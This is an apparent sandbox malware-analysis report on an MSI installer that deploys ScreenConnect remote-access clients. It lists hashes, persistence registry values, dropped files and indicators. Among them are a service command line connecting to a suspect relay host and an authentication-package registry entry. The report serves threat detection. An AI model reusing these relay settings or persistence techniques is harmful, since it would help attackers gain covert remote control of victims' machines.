Analysis
- max time kernel
137s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/07/2026, 16:13
Static task
static1
Behavioral task
behavioral1
Sample
ScreenConnect.ClientSetup.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
ScreenConnect.ClientSetup.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
28 signatures
150 seconds
General
- Target ScreenConnect.ClientSetup.msi
- Size 11.8MB
- Sample260714-tpbansgs4m
- SHA256 2414dd205509508f7327022381fd1a2f46c49779bacefb8bbc01f0215bd92880
- MD5 4a76aeab06c3cd510a8145692e78ad45
- SHA1 a81066b3d4a3bbf89a04581d8d59d9fba02b31ac
- SHA512 062b8a5ad320f109058fae2db445b2f1893600d7876d56472b69a71db62de0c45668b846874d2a01a9e7ea7d49c4e58bc568005c11bda02a50c347a3790968f8
- SSDEEP 196608:EnCtVYqI5MvbWEpKkqrIJqKhnCtVYqI5MvbWEpKkqWnCtVYqI5MvbWEpKkqFnCtt:QCXvI5MvHx/JPCXvI5MvHxFCXvI5MvHg
- TLSH T13FC623216BF48174F1BB6A78E9BC80B14A36BC658B26C04F0774395E28B0F64D5B6737
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 460 msiexec.exe 3 3716 rundll32.exe - Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (735e9d639ad67acd)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (735e9d639ad67acd)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=saf3deck.online&p=8041&s=059bb19a-3f76-4786-a1d5-edbed22e0f25&k=BgIAAACkAABSU0ExAAgAAAEAAQANd5Z7rZaMWqEUd%2f1roSFYbNso6FqOghOJAUFjhfYs32q4wxM7KRxXrtqWyWlxUssyzDhELdLuwWSoji0L4NAn%2fHOjLvLP7pWRpWf1cnsZINR54JE9LLYsSR1gBwTD%2bZwVWxfQ4QSHYVb7GgHPeJN3kNgau9jMQ%2bD24EnaJ7mP%2frrg0aEc2zKoeCvm3KH235aEZFEHSLzsAXvpche1ZKZ4aue5gFwBwIwJrucCqO01hGFGSdHOWZZHxJVNdVSBKfbguUggi%2bykfPISIzoMnNC5wsMGtW%2fxZkNUhpOZMeKEhl9qpLLLfHeBzb1LHbTWrZp6BlTOx%2fmEoyIsIzcDXpmj&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA1PMx2EivrEepqWv6gSL7SQAAAAACAAAAAAAQZgAAAAEAACAAAAC7JJOg1vrVWDWLA97nvmHuC4SRQVq9lIwKb6ojK5YRQQAAAAAOgAAAAAIAACAAAABICL4VRSeBantQfr8gcUrj9g8ood084Gm8dtNvqLhK0qAEAACcXqp5a9N7t3jREsI614tPIOVEYcrxHXfoCxIsd07idjDiwq9MgBzdsR%2fnnhOfIUBWlklFwqfA2WucP3RRnMVD3%2fEDlrFWzt7XOLJjsshL0ADZf0g2F9CiIvbKQXBs0uXe2PC%2facqybzVwsnj7qVNP67%2fccdeffGyahn5FFQ7P%2bR8B7St7LGrz17YI7r6bDFz5PRttGUPVsVawUmbx%2fl9G%2bHzhU5xMidIYcxgAri7nV3eGO9l8XBVqj3x3vP4lmvgoZKfsWJIWTlqep0mSduVW9LL8Ox3b%2fY3o4UA4yb7RMWPvF07CTKhnAGBXLJTvm8e5AJ9RTCPoNNKnal%2f5eE0vDav7IaPO5z2%2fzrbf1uxPOK%2bMN3x%2bK7eENPlKaOU2Q6WWZdw4kBhUEkj59w1Ag0tz9K5sGqB8gaybWUiUzUvw2BKNimUFBZsOUnDGxDdQqImVSYGiHoRalbIo67wOFKKbBKBAWuDCFbN1%2fQmtET0kzFgpezUg1A%2b34vxpmLMUGc%2bKy8Znczl%2fOOVC%2bN23eODPBjGcskcnwLLhlhfLIOa2kgH1IWRbWkr9ALw1%2fJyrMC0s%2f0IMLa5OQA4rXP7oi9v3Ru6YJ6vrFovwWJZqLOJe7PbIJgOa4iWR6jL8tre3SV14Gn7SDHu5soJNdO48skiUi47Ufu5Y5DQ3Gr9vqOSnhB%2f9AF5nn%2bYWIJ5YAd0zrKh02noTYEauo%2ftY4qAqMZk%2bwHt8jW%2bqP%2fBi%2f2TOpfmd0I9RT%2bIPmVAyyViNrQkpcLXqKN0%2bzTcSz2CVR753rAro93MXETWTuY5Q%2bvoMKqTkqt9enZRR2kOIIIiA%2f9BJx%2b1DBt5bKp4lVf%2fD3jHHDa0IqKlZI%2fzLaL2aj5OP4jV%2b3iHC3ZisByxop0jkKtfaveDBOMeggHzJqUYMeYQBWfcnthi2LN5LxEFZmyQ8%2bT%2bZF4Xb2JGDiAc88PVWG5FNESAjj7c9dWOKFr83r2Wv9PZcyobTsuFHg%2fkJ4Kgowf0AJKj91BJG2GlCIXBopkgufyx1GTU5zTf7Aw7AglAq67SUgCs3gZv0HlklTrqskyjH%2fOAjkjzSED%2f7x43VIqfCBRcFgUfAl%2bxUvriyFOWkXE716K2yGaLLcVN%2f%2bawDgaNDe%2fwwJA9bDoZqmvzk36ZV760CvH2wfi5YWEBrQx4dOVs1dfBe04icOoSSyzDJnzdSzH99l3cESpNEKQVInUGr0RcYJ%2b2HT1Cf8avfFvqUPzJdW39kh0PBbmXZsa0H811NySzGoVpSZgLmjzB6ppd%2b7PoYXAWLu8isD1RZ7UeX%2faZadpr17VsuG76vTOnPVPdWuo14r%2f4U1jdHw2KmjiD2VcMnopv9Lapl99Vt0JTuvfEmn1GRbOEJ97lMV6q%2bhIaNH91s8l7Gu2cV%2fNprFwqpi%2f9xVNFxzAU%2bK20jYZ92vgC9tPH811esHQa%2bqOXzz4n6z2JcXdsVEY6YrRFThcRv2eSaJM7yayf%2bxk50OH2MtQ0VYK2GUHw9sBUJli6Tv2P1bejbkYz5GiPw6lphTCYwTigGOux6lCKFaZO2eL5nFTyGFhU%2fz%2f4BsyQAKshNCoh0gkAAAABdXNAEY1Z8Pbj9FUgM9qcn7DvXSwciw9oSzdHn0VlDDJGUckxwbK9o6CzXSVQ30NQBZzZ7ubYwgxFpwV6ZkCxq\"" ScreenConnect.ClientService.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (e869721f4276291b)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (e869721f4276291b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-y1kw2s-relay.screenconnect.com&p=443&s=e2b795ec-b5d4-47df-a90f-92d95c0b8783&k=BgIAAACkAABSU0ExAAgAAAEAAQCJcvzZyeTcxOSl2IZaSMM3BOVJ9BgjkZ42r8AqDhgSylCc6gJYUkmt5M4D8zPZIlE5M%2f432%2bEx0WZ6KtLyYva7iZyStFU3Doe3M4kW4P2Q7H3WMPNlsJgLosA6taLHYOTF5rGNO2fQNA7ijtGhBvW40ew2LgwLuknc4l1ZK8yZgiSUjkYBSQrJE6WOQPv6vWkxCNOVQc78pMkCoZhA%2f5mblZzM55jDecWXusmt1xlm8Vjb2muLR%2blLYOu13SsjyC2V6qjnkCfKTaq62N3FQVekQCUp1HSGQshcBFs7ce7LCgvCK90ue63ST5zHrUPt1QitbLxN7FPLE09Alz31GibW&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA1PMx2EivrEepqWv6gSL7SQAAAAACAAAAAAAQZgAAAAEAACAAAADQTE5LVIBSpmrpePH%2f8qvhKlpiZzXfV%2f80pMZEQhs7nwAAAAAOgAAAAAIAACAAAADwu2r951pafDuCEloOCGSwnFxBDLRh26Dx66kr6yiQcKAEAAC4rRWXGtEJEXAKoGkMbfYkj40Vnm0fLGn%2bzOXqHL%2fb3PPHkfVjjvfjx5e%2fnTJY%2bUuairCp%2fdok3ZDSj0frNFIUbkfbCMIuE5alovGjHLkjY7apEyJBLSzv5lVnLty2PWJxkWmxXHTpmU%2f2bFx91efchaQqm6Mfn2ZfzxAM3IVD7AaeKMvlIisQ%2ftCxQYec3JBr%2fOwNCgpndlfXAPfbPddkmfWOmphpziMZLjthPtyCh1sm2r%2fG80pP2sV4bAvLXzwbodUd%2fmO89fBQFqlQktaSm7%2fCNl91df04Ly8r2JEzJ0XDzLgMBucsfI7ON612BaZMz2XliLy8ZY4I93kwLofneUit6%2f%2bMX6WPrVeVSTK610U22i2Dyy%2fHH%2fqmxoNNjagx4qDnWV3p9wQ%2bB31CJBU4aloWwCK0n0S8WquT%2fCAtXzAYsQ92jj2WRPxwI2NKbnlpMgcgm3B94xvFaezgJMyKKYwCqrd%2f3LkD5Y0t7%2fASuNhpdD79QJ%2fDGbVijUlRekODtAlyr47v3euVudMd5SnzP7wTCl8jsG0%2fCJfrjccW%2fx%2bTCwYDYhrHm2XVe2f9C3LoHrc94iyECx0poo3JjP6c0Kfu8ePDaAXgtiLSF3EzH8%2fdbgW89TjIIDfUAEK%2b4YOFshyYL9R%2budC0ONW%2f%2fMHxYqtovVcIuYFjUj8aEYoiPtF5wuOYUj1KIb13dgy%2fT3E2faZLVlV5P5Y%2bBuOgNFYuoS8Al4rGrjI5uB33dexhSbDRuzuSI10QWFBoEPAb9VV7HRCC7pTv9%2faAUx9MHVzD2KUoJBixtAy4gyGZf3DD9jUyxuMl6JmLvV3U4GzodWlbwHnCI%2fvkZoGpO0UxAG0ESLCjepxx5OnrRQZBht8xGpNuXDE7tKrFaLkpdfQ8f3KhuTo8MEkMAgCy5r7mGGWkFp208FG3uY3WeqiwVbQDdgD1XfjDls8%2bd%2fnO6F%2bPhr8PhTCUtArEjHaDxb5HDXPPvEkVTkWtB6ugBqCv4a%2b2Goo8REkqWIO74BjQaTx5zt%2fwcRHU4Ln%2f7i%2b4nvzSzVD5koBu%2bHVHiFoWAVmFHezRSmuUQmP446WFIQEEtAOBJ0JBebpm9TLyjeVB%2bkvv3mq1xjWhuYXMANR4fxvcxoPpU%2bQ16Mb647eDiO%2b9iMeoZFLH3pWR%2bDWmi4hXQ%2boVOJSPc32vL12tB5NhA0LslKntMUWhWni1yPiPqLw5tl8EWLMC8t5k%2ffM2XzymTsbe1K%2bN31xt2I4G0p0QImMj7FvAPjFTVBYW9sOCQpfb4VV5GZ%2fuV0vGTpG9PAmEm34GNZn30s%2biKZOHJy3ughZpMTeohx2M94nzNq6XuW%2brgSLuo4wH1ZHGd%2f%2fXNbYwXnruge7CMQTLEOB5f0EpngZiGOKQFV%2f0%2fRdX%2fmFSvs8LDOu4vxDmeMENdgnbCOQR%2fIdX7z9aC4oIGfKL8xqyn%2fRh9Wgn93hgECLLlZpBTUOo5Xzv6WdkaiHPPRwmLnUnS%2fvDekngnT3GFfKIupfKa0M6iWAuv3FcYJnQvqhbTYMT2fJXafK7FAMhXp9ZWejGf4PO1UYxWBUvmoSYiUnyvdUyMT4gv0AAAACyRrbl9Bwk1vnJY5Ffpj%2fr01D5eLpH6gjH9PKiLSz%2b3THTzt7xV6pGQ3ilhbRo%2bolgNC1aDOu19Za53mEraBIX&c=&c=&c=boyyyy&c=&c=&c=&c=&c=\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/memory/4480-339-0x00000000049E0000-0x0000000004AB5000-memory.dmp revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 9 IoCs
pid Process 4708 ScreenConnect.ClientService.exe 4760 ScreenConnect.WindowsClient.exe 1908 ScreenConnect.WindowsBackstageShell.exe 2460 ScreenConnect.WindowsClient.exe 2136 ScreenConnect.WindowsClient.exe 5860 ScreenConnect.WindowsClient.exe 3540 HideUL_x64.exe 4480 ScreenConnect.ClientService.exe 2080 ScreenConnect.WindowsClient.exe - Loads dropped DLL 64 IoCs
pid Process 3212 MsiExec.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 1476 rundll32.exe 3212 MsiExec.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3716 rundll32.exe 3212 MsiExec.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 2648 rundll32.exe 1276 MsiExec.exe 3124 MsiExec.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4076 MsiExec.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5160 rundll32.exe 5828 MsiExec.exe 5828 MsiExec.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
pid Process 4556 powershell.exe - Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650038003600390037003200310066003400320037003600320039003100620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650038003600390037003200310066003400320037003600320039003100620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800370033003500650039006400360033003900610064003600370061006300640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 20 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e869721f4276291b)\0hbbkxk1.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db ScreenConnect.WindowsBackstageShell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e869721f4276291b)\0hbbkxk1.tmp ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db ScreenConnect.WindowsBackstageShell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (735e9d639ad67acd)\q4foj0fe.tmp ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (735e9d639ad67acd)\q4foj0fe.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db ScreenConnect.WindowsBackstageShell.exe - Drops file in Program Files directory 36 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (735e9d639ad67acd)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e869721f4276291b)\Client.resources msiexec.exe - Drops file in Windows directory 58 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp\ScreenConnect\26.1.24.9579\Temp\c5build.msi ScreenConnect.WindowsClient.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File created C:\Windows\Installer\wix{DCD6D70D-34CA-0ECF-772B-8C1EF9421A11}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ek3an015.jut.psm1 powershell.exe File created C:\Windows\Installer\SourceHash{DCD6D70D-34CA-0ECF-772B-8C1EF9421A11} msiexec.exe File opened for modification C:\Windows\Installer\MSI8A8C.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFA1230CBBE99CC258.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{366CADB5-3465-6D41-E912-4DBEC3B5D11E} msiexec.exe File created C:\Windows\SystemTemp\~DF2D4D4A4202BF9DAE.TMP msiexec.exe File created C:\Windows\Installer\{DCD6D70D-34CA-0ECF-772B-8C1EF9421A11}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF9357EFB7CC32A985.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFCD148B4120297017.TMP msiexec.exe File created C:\Windows\Installer\{366CADB5-3465-6D41-E912-4DBEC3B5D11E}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF31EC3A326A8A6D8E.TMP msiexec.exe File created C:\Windows\SystemTemp\ScreenConnect\26.1.24.9579\Temp\HideUL.ini HideUL_x64.exe File created C:\Windows\SystemTemp\~DF0C31BFB0959A5047.TMP msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\SystemTemp\ScreenConnect\26.1.24.9579\Temp\HideUL_x64.exe ScreenConnect.WindowsClient.exe File opened for modification C:\Windows\Installer\{366CADB5-3465-6D41-E912-4DBEC3B5D11E}\DefaultIcon HideUL_x64.exe File created C:\Windows\SystemTemp\~DFDEB78B50C3278D1B.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF2CEE21EACCAABDBB.TMP msiexec.exe File created C:\Windows\SystemTemp\ScreenConnect\26.1.24.9579\WyHeA0ye10qbrun.cmd ScreenConnect.ClientService.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\ScreenConnect.Windows.dll rundll32.exe File created C:\Windows\SystemTemp\ScreenConnect\26.1.24.9579\Temp\HideUL_x64.exe ScreenConnect.WindowsClient.exe File created C:\Windows\Installer\e59ed94.msi msiexec.exe File created C:\Windows\SystemTemp\~DFD03462BE7E30181C.TMP msiexec.exe File created C:\Windows\Installer\wix{366CADB5-3465-6D41-E912-4DBEC3B5D11E}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\SystemTemp\ScreenConnect\26.1.24.9579\Temp\c5build.msi ScreenConnect.WindowsClient.exe File opened for modification C:\Windows\Installer\MSIF4A7.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF0240CD933A333E40.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF3D6B00B054DE76E7.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFC75FD50F014D654B.TMP msiexec.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File opened for modification C:\Windows\Installer\e59ed95.msi msiexec.exe File created C:\Windows\SystemTemp\~DF172227701E614BCE.TMP msiexec.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI8BA6.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF2D7486D961428EDB.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF39C01002EF1AA4C3.TMP 